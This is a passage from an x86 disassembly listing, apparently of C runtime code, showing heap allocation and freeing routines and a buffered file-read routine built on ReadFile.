mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41E672+41p
; sub_41F50E:loc_41F6DDp
cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, ds:dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call ds:dword_427068 ; VirtualFree
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call ds:dword_427068 ; VirtualFree
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call ds:dword_427068 ; VirtualFree
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call ds:dword_427064 ; VirtualAlloc
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD040[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4D0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD140
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD040h[eax*4]
mov eax, dword_4DD040[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call ds:dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FA84
call ds:dword_427094 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDDC, 9
mov dword_4DBDE0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FB25
call ds:dword_427094 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41FB6C
